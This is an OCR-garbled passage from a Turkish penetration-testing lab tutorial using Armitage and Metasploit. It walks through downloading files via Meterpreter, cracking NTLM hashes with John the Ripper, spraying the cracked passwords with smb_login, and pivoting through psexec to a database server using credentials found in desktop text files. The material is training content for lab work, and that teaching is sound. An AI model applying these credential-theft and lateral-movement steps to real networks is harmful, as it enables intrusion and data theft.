B 1031 2014-05-29 09:47:21 -0400 407 77 [rWKrwrrwe
ﬁ 1033 2014-05-29 09:47:36 -0400 A0T7 77 ITWErWRr WK
& 1037 2014-05-29 08:47:21 -0400 A07 7T IrWKPWRPWK

Yeni listelenen dosyalardan birine sag tiklayip Download diyerek uzak sistemdeki dosyay1
Meterpreter araciligiyla indirmis oluruz.



[ Console X T nmap X T exploit X T Meterpreter 1 X T Meterpreter 1 X T Files 1 X]

| & JjIC;\Documents and Settings\bga\Desktop

D 4| Name Size Maodified Mode
[ﬁ wordpress-3[1].6 2014-06-06 05:17:46 -0400 AQT 77 PWHIWHIWE
ﬁ zingiri 2014-06-06 07:18:01 -0400 40777 [rwrrwrrwe

Bu bilgisayar bos.txt s 2014-06-10 13:23:01 -0400 100666/rw-rw-rw-
Command Prompt.Ink 2014-05-29 10:25:50 -0400 100666/rw-rw-rw-
P

MNew Text Document.txt Download 2014-06-10 07:45:41 -0400 100666/rw-rw-rw-
Shortcut to Local Area Connection.Ink Execute 2014-06-01 04:32:37 -0400 100866/ rw-rw-rw-
XAMPP Control Panel.Ink Timestomp 2014-06-02 03:10:51 -0400 100666/rw-rw-rw-

Delete

. | | Make Directory | | List Drives | | Refresh |

Bu sekilde uzak sistemden bilgisayarimiza inen dosyalara ulasmak icin View -> Downloads
sekmesine gidilebilir.

Armitage ﬂosts Attacks Workspaces Help

» (B auxili Console

> expld Credentials
Bl Downloads
> (B post| |obs

Loot
Script Console

Beporting

[ Console X T nmap X T exploit X T Meterpreter 1 X T Meterpreter 1 X T Files1 X T Downloads X]

host 4| name path size

152,168.20.170 Bu bilgisayar bos.txt C:/Documents and Settings/bgal... 13b

Listelenen inmis dosyalardan birine cift tiklayarak icerigini Armitage'da acilan yeni bir tab
icerisinde asagidaki gibi okuyabiliriz.

[ Console X T nmap X T exploit X T Meterpreter 1 X T Meterpreter 1 X T Files 1 X T Downloads X T View X

0,170: Bu bilgisayar bos.txt

B

h)

Maalesef sizdigimiz hedef sistemden kullanic1 hesap 6zetleri disinda degerli bir bilgi alamadik.



Elde ettigimiz bu 6zetleri kiracak olursak Armitage meniisiinden View -> Credentials seceneklerine
geceriz ve alt tarafta belirecek Credentials tab'indaki gereksiz account satirlarint DELETE tusu ile

sileriz. Boylece Crack Passwords butonuna basarak tab ekraninda biraktigimiz satirlardaki hash'leri
kirma siirecini baslatabiliriz.

gl | ———

[ Console XT nmap X I exploit X I Meterpreter 1 X T Meterpreter1 X T Credentials X}

user

4| pass | host

35acbchBaffefS66aad3b435b51 404ee:53f9b9bb39¢ccc75... 192.168.20.170
f26fb3ae03e93ab9c8166729d738c5d9:b367819¢c0a8ccd... 192.168.20.170

bga
bgaDestek

| Refresh J | Crack Passwords JI Export |

Crack Password butonuna basildiktan sonra ilgili auxiliary'nin (JTR'nin) parametreleri ekrana
yanstyacaktir.

Crack Passwords
John the Ripper Password Cracker (Fast Mode)

This module uses John the Ripper to identify weak passwords that have been
acquired as hashed files {loot) or raw LANMAN/NTLM hashes (hashdump). The
goal of this module is to find trivial passwords in a short amount of time, To
crack complex passwords or use large wordlists, John the Ripper should be used

outside of Metasploit. This initial version just handles LM/NTLM credentials from
hashdump and uses the standard wordlist and rules.

Option A | Value
JOHM_BASE

JOHM_PATH

Munge 0

Waordlist 4

| | Show advanced options

Launch

Goriildiigii tizere Wordlist mandatory olarak verilmis. Dolayisiyla Wordlist + ifadesine ¢ift tiklanir.
Bir wordlist segilir.



Select Wordlist
Look In: |_ﬁ‘ data ‘rJ |_ (i I o | ] | =) | 8] |
[&5 android (& php | mime.yml
(& cpuinfo [ post | wnedllxs4d. dll
(& exploits (& ropdb | wvnedllx88.dll
(& ipwn [ snmp
ﬁjaua [ sounds
ﬁjchn ﬁtemplates
& js (& wmap
(& 1ab
=} meterpreter __| eicar.com
[ msferawler || eicar.txt
[ msfpescan _| emailer_config.yaml
[ passivex || isight.bundle
File Mame:
Files of Type: |All Files _vJ
| Open || Cancel |

Ardindan modiil Launch butonuna basilarak bagslatilir.

[*] ﬂutput Hu pﬂSSWnrﬂ hﬂShtS 1eft to crack (see FAQ}
[*] cred_14:aA123456: f26fb3ae03e93ab9cB81667e9d738c5d9: b367819c0a8ccd7

[*] cred 13:bga:35achch84ffcf566aad3b435b51404ee:53T9b0bb39ccc75518b3

[*1

[*] 2 password hashes cracked, 0 left

[+] Cracked: bgaDestek:aA123456 (192.168.20.170:445)
[+] Cracked: bga:bga (192.168.20.170:445)

Armitage

msf auxiliary( ) =

Modiiliin actig) tab ekranindaki kirmizi kutucuktan goriilebilecegi tizere bgaDestek kullanicisinin
sifresi aA123456 imis ve bga kullanicisinin sifresi bga imis.

Bu elde edilen sifreler sonrasi yapilacak is network'teki tiim ayakta olan cihazlara elde edilen hesap
bilgileriyle smb_login cekmektir. Boylelikle bu hesaplar baska bilgisayarlarda da kullaniliyor muyu
ogrenmis oluruz. Simdi bu islemi gerceklestirelim.



Armitage \iew Hosts Attacks Workspaces Help

Y ([ auxiliary
¥ [E scanner
¥ (@ smb —
smb_login I ¥
'y
smb_login

F

Armitage'n sol siitunundaki smb_login modiiliine ¢ift tiklayalim.

scanner/smb/smb-login
SMEB Login Check Scanner

This module will test a SME login on a range of machines and report successful
logins. If you have loaded a database plugin and connected to a database this
module will record successful logins and hosts so you can track your access.

Option 4 | Value |
DB_ALL USERS 0 la
PASS FILE +
PRESERVE_DOMAINS 1
COBRD GLIEST
If:mqm +
RPORT 445
SMBRomain
SMEBPass + ahl23458
SMEUser + bgaDestek
STOP_OMN_SUCCESS 0
THREADS 24
USER_FILE +
USERPASS FILE + [/
WEREBOSE 1 |'r

|| show advanced options

Launch




SMBUser parametresine elde ettigimiz hesaplardan birinin kullanici adini, SMBPass parametresine
ise elde ettigimiz bu hesabin sifresini koyalim. RHOSTS parametresine ise daha énce yerel
network'teki taramalarimizda tespit ettigimiz ve Armitage ekranina monitor olarak gelen ayaktaki
bilgisayarlarin IP'lerini virgiille ayirarak girelim. Ardindan Launch diyerek bir dosya paylasim
servisi olan smb_login hizmetine uzak sistemlerde oturum agma denemelerini baglatalim.

[ Console X T exploit X T scanner/smb/smb_lagin X]

I ]
'y module running as background job
20.1 5 SMB - Starting SMB login bruteforce
20,1 ! Starting SMB login bruteforce
] - FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek [STATUS _LOGON_FAILURE]
FAILED LOGIN (Windows 5.1) bgaDestek [STATUS_LOGON_FAILURE]
FAILED LOGIN (Windows 7 Ultimate 7600) bgaDestek : bgaDestek [STATUS LOGON

FAILED LOGIN (Windows 5.1) bgaDestek : bgaDestek [STATUS_LOGON_FAILURE]
FATLFD 1 OGTN_(Windows 5.1) hpanestek : aA123456 [STATUS_ | 0GON_FATI LIRF]
UL LOGIN (Windows 7 Ultimate 7600) bgaDestek : aAl23456 [STATUS_SUCCESS]

1 Domain is ignor
*] Scanned 2 of 2 hosts (100% complete)

Yesil renkli satir bize smb servisine login olabildigimizi sdylemektedir. Bu noktadan sonra
yapilabilecek sey bu yesil renkli smb login ile giris yapilabilen 192.168.20.133 nolu bilgisayara
psexec modiilii ile sizmaktir (Monitdr simgesine sag tiklayip Login -> psexec seceneklerine
tiklanarak calistirilir).

e
psexec
Senvices T

Scan

Host

\_XP_VUL-01

Modiil galistiktan sonra bir meterpreter session'1 elde edilecektir.



Bound to abb81- 35f1-ad32

Obtaining a service manager handle...

Creating a new service (ixeUyokD - "MPhVgUxFSVmmuKGXBSk")...
Closing service handle...

Opening service...

Starting the service...

Removing the service...

Closing service handle...

Deleting \ZCyStvvy.exe...

Sending stage (769024 bytes) to 192.168.:Z

Meterpreter session 5 opened (192, 16¢ . 640 -> 192,168.20 49164) at 2014-06-11 04:03:46 -0400
meterpreter >

Session elde edildigine gore hedef sistemin dizinlerini gérelim. Bunun icin hedef sistemi temsil
eden monitore sag tik yapip Meterpreter 1 -> Explore -> Browse Files seceneklerine tiklayalim.

Attack >
Login >
> Access
Interact

Explore
Pivoting
ARP Scan...

Browse Files
Show Processes
Log Keystrokes
v Screenshot il
[ Console X T nmap X I exploit X T Meterpreter 1 X T Meterpreter 1 X T Files 1 X] Webcam Shot

Post Modules

| [@ | C\WINDOWS\system32

D 4 Name Size Modified Mode

ﬁ 1025 2014-05-29 08:47:21 -0400 4077 7 IWKNWHIWK
ﬁ l0z8 2014-05-29 08:47:21 -0400 4077 7 [rancrawacrvg
ﬁ 1031 2014-05-29 08:47:21 -0400 4077 7 rWHNWHIWK
= AR AMT A AT AN AR AT.9E nann ANT T T tesinrminomans

Yukaridaki resmin altinda goérebilecegi gibi Files 1 adli bir tab acilmistir. Bu tab'in iceriginde hedef
sistemin dizinleri listelenmistir. Dizinlerin hemen {istiinde ise bulunulan dizini ifade eden

C:\Windows\system32

ibaresi vardir. Simdi hedef sistemin masaiistii dizinine gecis yapalim. Ciinkii kritik bilgiler
genellikle ulasimi kolay olsun diye masaiistiine konuyor. Bu nedenle

C:\Documents and Settings\bga\Desktop

path'ini asagida kirmizi ile vurgulanmis kutucuga girelim.

[ Console X T nmap X T exploit X T Meterpreter1 X T Meterpreter 1 X T Files 1 X]

IEJ c

D 4| Mame Size Modified Mode

ﬁ 1025 2014-05-29 09:47:21 -0400 AQT7 77 ITWErWHr WK
ﬁ 1028 2014-05-29 09:47:21 -0400 A0T7 77 ITWErWRr WK
B 1031 2014-05-29 09:47:21 -0400 A077 7 [rwWrrwrrwe
ﬁ 1033 2014-05-29 09:47:36 -0400 A0T7 77 ITWErWRr WK
& 1037 2014-05-29 09:47:21 -0400 4077 T InwKrwKrwe

Yeni listelenen dosyalardan birine sag tiklayip Download diyerek uzak sistemdeki dosyay1
Meterpreter araciliiyla indirmis oluruz. inen dosyay1 gériintiillemek icin View -> Downloads
sekmesine gidilebilir.



Armitage ﬂcsts Aftacks Workspaces Help

» (B auxili Console

» [ expld credentials
BB Downloads
> (B post| Jobs

Loot
Script Console

Beporting

Indirilmis dosyalan listeleyen asagidaki tab ekrana gelir.

[ Console X T exploit X T exploit X T Files 5 X]

| [ | C:\UsersibgaDestekiDesktop

D 4| Mame Size Modified Mode
Kenfigurasyon.txit 2014-06-11 02:34:07 -0400 100666/rwW-rw-rw-
cmd - Shorteut.Ink 13kb 2014-06-11 03:17:01 -0400 100666/ rw-rw-rw-
desktop.ini 282b 2014-06-11 03:16:43 -0400 100666/rw-rw-rw-

Konfigurasyon.txt dosyasina ¢ift tikladigimizda ise asagidaki tab ekrana gelir.

Console X T exploit X T exploit X T Files 5 X T Wiew }{]

#
# 192.168.20,133: Konfigurasyon.txt
#

IP Adresi | Kullanici Adi | Parola |

192.168.20.204 | bgaDatabase |Datal23

Boylece hedef sistemin masaiistiinde duran konfigurasyon dosyasindan hedef veritabaninin yiiklii
oldugu sunucunun hesap bilgisini elde etmis olduk. Simdi hedef veritabam sunucusunun kullanici
adi ve sifresini 6grendigimize gore bu hesap bilgisiyle veritabani sunucusuna sizalim. Bunun i¢in
konfigurasyon.txt dosyasindan elde ettigimiz veritaban sunucusunun IP’sine gére armitage
araytiziindeki ilgili monitorii secelim, sag tik Login -> psexec diyelim ve yine konfigurasyon.txt
dosyasindan elde ettigimiz credentials’lar1 (bgaDatabase kullanici adin1 ve Data123 sifresini)
parametrelere girelim.



Attack 192.168.20.142

Microsoft Windows Authenticated User Code Execution

This module uses a valid administrator username and password (or password hash) to [*
execute an arbitrary payload. This module is similar to the "psexec" utility provided by
Svsinternals. This module is now able to clean up after itself. The service created by this

.

Option & | Walue
EXE::Custom =

LHOST 192.168.20.188
LFORT 29831

RHOST + 192,168.20.142
RFORT 445

SHARE ADMING
SMBDomain WORKGROLP
SMBPass + bgaDatabase
SMBUser # Datal23

Targets: |0 ==> Automatic _vJ

|¥] Use areverse connection

| | Show advanced options

| Launch |

Session elde edildikten sonra masaiistii dizinine gidelim ve veritaban1 sunucusundaki konfigurasyon
dosyasini indirelim. Inen dosya goriintiilendiginde asagidaki igerik ekrana yansiyacaktir.

[ Console X T exploit X T exploit X T Files 5 X T View X T exploit X T Files 6 X ]'View X]

0.142: Sunucu Konfigurasyon.txt

192.168.20,152 FatmaData fatmalz3

Bdylece veritabani sunucusundaki veritabani uygulamasinin kullanici adi ve sifresini elde etmis
olduk. Yani senaryoyu tamamlamis olduk. Artik veritabanina uzaktan baglanip diledigimiz kritik
bilgileri gekebiliriz.

(Page 30-49)



